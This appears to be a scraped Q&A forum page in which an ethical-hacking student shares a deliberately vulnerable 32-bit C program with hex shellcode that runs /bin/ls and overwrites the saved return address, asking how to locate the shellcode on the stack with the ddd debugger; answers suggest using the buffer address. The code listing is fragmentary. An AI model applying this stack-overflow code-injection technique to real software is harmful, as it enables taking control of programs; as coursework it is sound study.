Take the 2-minute tour ×

I'm an ethical hacking student and have been given this as an exercise. I've been stuck on it for two days now.

We're writing a program that is purposely vulnerable to a "buffer overflow".

#include <stdio.h>

void badf(int n, char c, char* buffer)

    char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff, 
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c, 
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
}; // 37 bytes

    int i;
    // Copy mycode array into buffer array

    // Overwrite Base Pointer
        buffer[37] = 0x00;
    buffer[38] = 0x00;
    buffer[39] = 0x00;
    buffer[40] = 0x00;
    // Overwrite Instruction Pointer
    buffer[41] = 0x90;
    buffer[42] = 0x83;
    buffer[43] = 0x04;
    buffer[44] = 0x08;

void f(int n, char c)
    char buffer[37];    


void test()

int main()
    return 0;

The mycode array contains "malicious" machine code (it actually just calls execv with /bin/ls). badf is the "vulnerable" function. At the moment you can see I'm overwriting the Base Pointer with 0x00s and the Instuction Pointer with 0x08048390 which is the address of the test() function. This works, 'test' is printed to the terminal.

Now my next exercise is to "use ddd to find the address of your code array and modify the C to write this address over the instruction pointer, as you did in the previous step".

What I don't understand, is how I can use ddd to find the address of my code array. I can easily find the address where the array is moved to BP:

   0x08048260 <badf+12>:        movb   $0xeb,-0x29(%ebp)
   0x08048264 <badf+16>:        movb   $0xf,-0x28(%ebp)
   0x08048268 <badf+20>:        movb   $0xb8,-0x27(%ebp)

Or where it is copied into the buffer array:

   0x080482f4 <badf+160>:       movl   $0x0,-0x4(%ebp)
   0x080482fb <badf+167>:       jmp    0x8048316 <badf+194>
   0x080482fd <badf+169>:       mov    -0x4(%ebp),%edx
   0x08048300 <badf+172>:       mov    0x10(%ebp),%eax

But of course this is not what we're looking for.

How can I find the Instruction Pointer address to execute machine code that has been loaded in by writing it in the buffer array this way?

edit: ddd is the debugger we're using, also note we're working with a 32bit linux. The code is compiled with -fno-stack-operator flag, disabling the compilers auto-checks for buffer overflows.

share|improve this question
break at badf+12 and dump the adress of ebp-0x29 –  Michael Nov 18 '13 at 13:34
But this is a base pointer address no? I tried it but my program fails, I don't know if my machine code is wrong.. –  Juicy Nov 18 '13 at 14:30
I don't think I'm getting the right address, I calculated "bfff f427" by looking where the 0xeb appears in the stack. I think this must be wrong. Is there a command or something in DDD to dump the address of ebp-0x29? –  Juicy Nov 18 '13 at 15:26
add comment

2 Answers

Since you copy myCode into the buffer, you could simply use buffer itself:

Assuming a little-endian machine:

// Overwrite Instruction Pointer
buffer[41] = (char)(((uintptr_t)buffer) >> 0);
buffer[42] = (char)(((uintptr_t)buffer) >> 8);
buffer[43] = (char)(((uintptr_t)buffer) >> 16);
buffer[44] = (char)(((uintptr_t)buffer) >> 24);
share|improve this answer
I tried exactly that but I get just get a Segmentation Fault. Do I need to take little-endian into account for the malicious code? –  Juicy Nov 18 '13 at 15:44
add comment

I don't know how to do it with ddd, but you could modify badf to print mycode address by using a print statement like this:

printf("mycode address: %p", (void *) mycode);

See what that prints, and just write that to instruction pointer

share|improve this answer
Thanks for your suggestion, I tried it however and the mycode address keeps changing every execution –  Juicy Nov 18 '13 at 14:08
Then try medinoc's method in the answer below –  Filipe Gonçalves Nov 18 '13 at 14:15
I would but I actually need to know how to find this address, not just use the address of the buffer. Is it normal that the address for the code start with 0xbf because it is on the stack? Most of the other instruction pointer addresses we used for the exercise started with 0x08 but 0xbf might be expected in this case? –  Juicy Nov 18 '13 at 14:44
add comment

Your Answer


